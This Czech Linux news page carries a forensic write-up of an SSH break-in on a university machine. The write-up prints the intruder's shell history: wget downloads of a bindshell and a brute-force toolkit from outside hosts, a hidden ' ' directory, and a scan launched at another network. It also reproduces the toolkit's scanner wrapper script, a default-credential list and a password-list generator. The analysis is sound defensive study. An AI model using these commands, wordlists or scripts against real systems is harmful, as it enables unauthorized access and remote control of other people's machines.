Homebrew (Wikipedie), správce balíčků pro macOS a od verze 2.0.0 také pro Linux, byl vydán ve verzi 4.5.0. Na stránce Homebrew Formulae lze procházet seznamem balíčků. K dispozici jsou také různé statistiky.
Byl vydán Mozilla Firefox 138.0. Přehled novinek v poznámkách k vydání a poznámkách k vydání pro vývojáře. Řešeny jsou rovněž bezpečnostní chyby. Nový Firefox 138 je již k dispozici také na Flathubu a Snapcraftu.
Šestnáctý ročník ne-konference jOpenSpace se koná 3. – 5. října 2025 v Hotelu Antoň v Telči. Pro účast je potřeba vyplnit registrační formulář. Ne-konference neznamená, že se organizátorům nechce připravovat program, ale naopak dává prostor všem pozvaným, aby si program sami složili z toho nejzajímavějšího, čím se v poslední době zabývají nebo co je oslovilo. Obsah, který vytvářejí všichni účastníci, se skládá z desetiminutových
… více »Richard Stallman přednáší ve středu 7. května od 16:30 na Technické univerzitě v Liberci o vlivu technologií na svobodu. Přednáška je určená jak odborné tak laické veřejnosti.
Jean-Baptiste Mardelle se v příspěvku na blogu rozepsal o novinkám v nejnovější verzi 25.04.0 editoru videa Kdenlive (Wikipedie). Ke stažení také na Flathubu.
TmuxAI (GitHub) je AI asistent pro práci v terminálu. Vyžaduje účet na OpenRouter.
Byla vydána nová verze R14.1.4 desktopového prostředí Trinity Desktop Environment (TDE, fork KDE 3.5, Wikipedie). Přehled novinek i s náhledy v poznámkách k vydání. Podrobný přehled v Changelogu.
Bylo vydáno OpenBSD 7.7. Opět bez písničky.
V Tiraně proběhl letošní Linux App Summit (LAS) (Mastodon). Zatím nesestříhané videozáznamy přednášek jsou k dispozici na YouTube.
Slíbil jsem, že se podělím o informace, jak se útočí na SSH službu. Za získaný materiál vděčím správci jedné univerzitní sítě, kde se jeden studentův stroj s účtem David a stejným heslem stal na několik dní otrokem v rukou ďáblových.
Poznamenávám, že veškeré zde zveřejněné programy, návody a postupy jsou předmětem vědeckého zkoumání. (Tímto jsem, doufám, vyřešil autorská práva na zveřejnění.)
Méně chápavé nabádám: Nezkoušejte na svých nebo cizích strojích. Tento kód není hračka pro děti. Hrozí vdechnutí malých částí.
uname -a passwd cd /var/tmp mkdir " " cd " cd " " wget geocities.com/te_amo_myhael/bimd.c wget geocities.com/te_amo_myhael/bind.c make bind ./bind rm -rf * wget gavana.uv.ro/slack.tgz tar zxvf slack.tgz cd slack/ ls -a chmod +x * ls -a ./a 147.251
Po úspěšném přihlášení na napadený počítač se útočník nejprve podíval, kam se vůbec dostal, a po té změnil heslo:
uname -a passwd
Pravděpodobně, kdyby se nejednalo o linux s x86 architekturou, asi by srazil paty a odešel, protože podstatná část jeho nástrojů jsou binárky. Zdá se, že myšlenka open source není mezi crackery zrovna oblíbená.
Měnit heslo mi přijde nebezpečné, protože tím se útočník může rychle prozradit, pokud je daný účet často používán.
Dále si útočník stáhnul bindshell:
cd /var/tmp mkdir " " cd " cd " " wget geocities.com/te_amo_myhael/bimd.c wget geocities.com/te_amo_myhael/bind.c
Lze jej pochválit za výběr dočasného adresáře. Nejen že /var/tmp na rozdíl od /tmp není tak na ráně, ale rovněž název dočasného adresáře „ “ skýtá jistý stupeň utajení při strohém ls
nebo ls -a
(člověk snadno přehlédne neobvyklé odsazení nebo si jej splete se adresářem „.“. Taktéž pro začínající uživatele může být problém s takovým adresářem zacházet, protože obvykle mají problémy se správným uzávorkováním.
Rovněž si nelze nepovšimnout, že samotnou instalaci provádí skutečně člověk. Stroj totiž nedělá překlepy.
Tento bidnshell je jednoduchý céčkový program, jehož smyslem je spustit pirátský „telnet“ server, aby se útočník mohl nerušeně vracet i bez znalosti hesla. Nyní změna hesla působí opravdu amatérsky.
Ve skutečnosti program neimplementuje protokol telnet. Jedná se o velmi jednoduchý program, který poslouchá na TCP portu 4444, ve výpisu procesů se maskuje za program /usr/sbin/httpd, a po připojení klienta (např. netcat) vyrobí pseudoterminál, nastaví obsluhu signálů, pořeší změnu velikosti okna (útočník asi má rád maximalizovaný emulátor terminálu), spustí standardní interaktivní shell připojený na pty a následně pomocí služby select(2) předává data mezí TCP spojením a terminálem.
Za povšimnutí stojí komplikované zpracování signálů a práce s terminálem. To většina programátorů za celý život neuvidí, protože se obvykle v getty nebo sshd nerýpe.
Také je třeba upozornit, že bindshell je vybaven jednoduchým přihlašovacím mechanismem, který má za úkol zahnat konkurenci a odvrátit katastrofu způsobenou scanováním portů.
Útočník program přeloží (zde se uplatňuje stará poučka, že na UNIXu si člověk musí všechno zkompilovat, dokonce i virus), spustí a ze souborového systému vymaže:
make bind ./bind rm -rf *
Je vidět, že se autor neobtěžuje s restartem stroje. Pravděpodobně se domnívá, že se Linux používá jen na serverech.
Nekalé rejdy pokračují stažením nástroje pro automatizované hádání hesel pro SSH službu:
wget gavana.uv.ro/slack.tgz tar zxvf slack.tgz cd slack/ ls -a
a spuštěním nástroje samotného:
chmod +x * ls -a ./a 147.251
Jak je vidět, útočník si jako další cíl svého řádění vybral sít 147.251.0.0/16 (jinou univerzitu).
Otázka je, proč nezkusil znovu místní síť. Určitě by našel nějaké stroje za NATem nebo za firwallem. Situace ve vnitřní síti obvykle nebývá tak dobře sledována.
Tady končí záznam histore shellu. Doufejme, že útočník nenapáchal mnoho škody.
Co všechno najdeme uvnitř tohoto báječného archivu?
slack $ ls -l celkem 8488 -rwx------ 1 petr users 723 20. zář 2005 a -rwxr-xr-x 1 petr users 846832 19. pro 2006 brute -rw-r--r-- 1 petr users 22354 2. pro 2004 common -rw------- 1 petr users 999424 7. dub 2005 core -rwxr-xr-x 1 petr users 265 25. lis 2004 gen-pass.sh -rw-r--r-- 1 petr users 0 19. pro 2006 mfu.txt -rw------- 1 petr users 6014206 13. pro 2006 nohup.out -rw-r--r-- 1 petr users 4378 2. bře 2006 pass_file -rwxr-xr-x 1 petr users 172060 19. pro 2006 pico -rw-r--r-- 1 petr users 84476 26. kvě 2005 pico.tgz -rwxr-xr-x 1 petr users 25645 19. pro 2006 scan -rwx------ 1 petr users 458068 18. pro 2006 ss -rwx------ 1 petr users 79 13. pro 2006 x
slack $ file * a: Bourne-Again shell script text executable brute: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0xc0853046, statically linked, for GNU/Linux 2.0.0, stripped common: ASCII C++ program text core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './ssh-scan 80' gen-pass.sh: Bourne-Again shell script text executable mfu.txt: empty nohup.out: ASCII text pass_file: ASCII Pascal program text, with CRLF line terminators pico: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped pico.tgz: gzip compressed data, from Unix, last modified: Tue Mar 19 02:03:03 2002 scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0xfffff564, bad note name size 0xc1d089f4, bad note name size 0xb8000000, dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0x8b570feb, bad note name size 0xffffffb8, bad note description size 0x83e58955, statically linked, for GNU/Linux 2.0.0, stripped x: ASCII text
#!/bin/bash if [ $# != 1 ]; then echo " usage: $0 <b class>" exit; fi echo "[+]##########################################[+]" echo "[+]####### SCANNER BY slackwave #######[+]" echo "[+]####### Scanner Privat Dedicat Mie #######[+]" echo "[+]####### Am Pornit Scannerul #######[+]" echo "[+]##########################################[+]" ./scan $1 22 sleep 10 cat $1.pscan.22 |sort |uniq > mfu.txt oopsnr2=`grep -c . mfu.txt` echo "[+] Am gasit $oopsnr2 ip's...sa vedem ce hackler esti" echo "-------------------------------------------------------" echo "[+]Am pornit exploit-ul..." echo "[+]Ajteapta oleaca" ./brute 85 rm -rf $1.pscan.22 mfu.txt echo "[+]Lasa tata...poate next time..."
Jak vidno, slackwave je Rumun jak poleno a podle jiných hlášek trochu i sprostý. Tolik psychologický profil pachatele.
Nejprve se proscanuje zadaná béčková podsíť na port 22, seznam nalezených strojů se uloží do souboru mfu.txt a uživateli se oznámí, kolik se jich našlo.
scan není stripnutý, tak se podíváme, co nám řekne:
slack $ strings scan /lib/ld-linux.so.2 libc.so.6 putchar stdout connect snprintf perror socket fflush fprintf inet_addr __deregister_frame_info memset inet_ntoa time sprintf fclose htons __errno_location exit fopen atoi _IO_stdin_used __libc_start_main strlen fcntl __register_frame_info __gmon_start__ GLIBC_2.1 GLIBC_2.0 PTRh0 Usage: %s <b-block> <port> [c-block] %s.pscan.%s %s.%s.pscan.%s Invalid b-range. # scanning: %s.%d.* (total: %d) (%.1f%% done) Unable to allocate socket. Unable to set O_NONBLOCK %s.%d.%d Invalid IP. # pscan completed in %u seconds. (found %d ips) Y@%s Error: %s
Tento nástroj způsobuje typická dvojitá varování SSH démona
Did not receive identification string from…
, která předcházejí o několik hodin samotný útok.
Dále se volá ./brute 85
. Ten je staticky linkový a samozřejmě stripnutý. Toto je srdce celého procesu.
Samotný výpis řetězců je velmi dlouhý. Prozrazuje, že obsahuje ssh klienta (SSH-2.0-libssh-0.1) a OpenSSL (OpenSSL 0.9.7b 10 Apr 2003), což nám umožňuje přibližnou dataci vzniku této binárky.
Pasáž odpovídající samotnému výkonnému kódu je:
uname -r -s none DUP vuln.txt %s%s:%s:%s %sL-amPrins... !! ->%s:%s:%s Nu-ti Arat ->%s:%s:%s %s <cate pizde sa incerc...> mfu.txt Unde-i mfu.txt Toata [31mdragostea [0m mea pentru [32mdiavola [0m!!!!!! pass_file Unde-i pass_file
Zde je vidět, že používá náš startý známý seznam adres mfu.txt a také soubor pass_file. Soubor vuln.txt pravděpodobně bude naplněn seznamem prolomených účtů.
slack $ head pass_file webmaster webmaster admin admin root root webadmin webadmin ftp ftp ftpuser ftpuser testuser testuser testuser testpass test test guestuser guestuser
pass_file je tedy seznam účtů a jejich hesel, které se mají zkoušet.
Tento soubor je možné vygenerovat nástrojem gen-pass.sh:
#!/bin/bash users=$1; pass=$2; if [ ! -f "$users" -o ! -f "$pass" ] ; then echo "File not found"; exit; fi rm -f pass_file for m_user in $(cat $users) ; do for m_pass in $(cat $pass) ; do echo "$m_user $m_pass" >>pass_file done done
Nicméně tail pass_file
ukazuje, že v něm nejsou všechny variace účtů a hesel. Asi je rychlejší zkoušet jen stejná jména a hesla.
Abecední seznam přihlašovacích jmen je v souboru common. A obsahuje i tehdy účinné jméno David.
Soubor nohup.out obsahuje výstup z programu ss, což není ten ss z balíku iproute, ale jakýsi scanner sledující provoz na daném rozhraní pomocí zalinkované knihovny libpcap:
slack $ head ./nohup.out scanning network 66.*.*.* usec: 1000, burst packets 50 using inteface eth0 using "(tcp[tcpflags]=0x12) and (src port 22) and (dst port 46433)" as pcap filter my detected ip on eth0 is 218.238.188.108 66.0.0.17 66.0.0.49 66.0.0.225 66.0.1.30 66.0.1.114
Pravděpodobně provokuje vzdálené stroje pakety odselanými přes raw socket (tcpflags=0x12=PSH|RST), takže útočící stroj není zatížen mnoha otevřenými spojeními. Tomu by odpovídalo i doporučení ohledně časování:
usage: %s <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>] speed 10 -> as fast as possible, 1 -> it will take bloody ages (about 50 syns/s)
Ostatně skript x:
./ss 22 -a $1 -i eth0 -s 8 cat bios.txt |sort | uniq > mfu.txt rm -f bios.txt
dokazuje, že ss je dokonalejší náhrada programu scan.
Soubor core je uložený obraz paměti po pádu programu ./ssh-scan 80
.
pico a pico.tgz je stenojmenný textový editor. Autor balíku asi neovládá vi nebo má nepěkné vzpomínky na ten druhý editor (GNU).
Tiskni
Sdílej: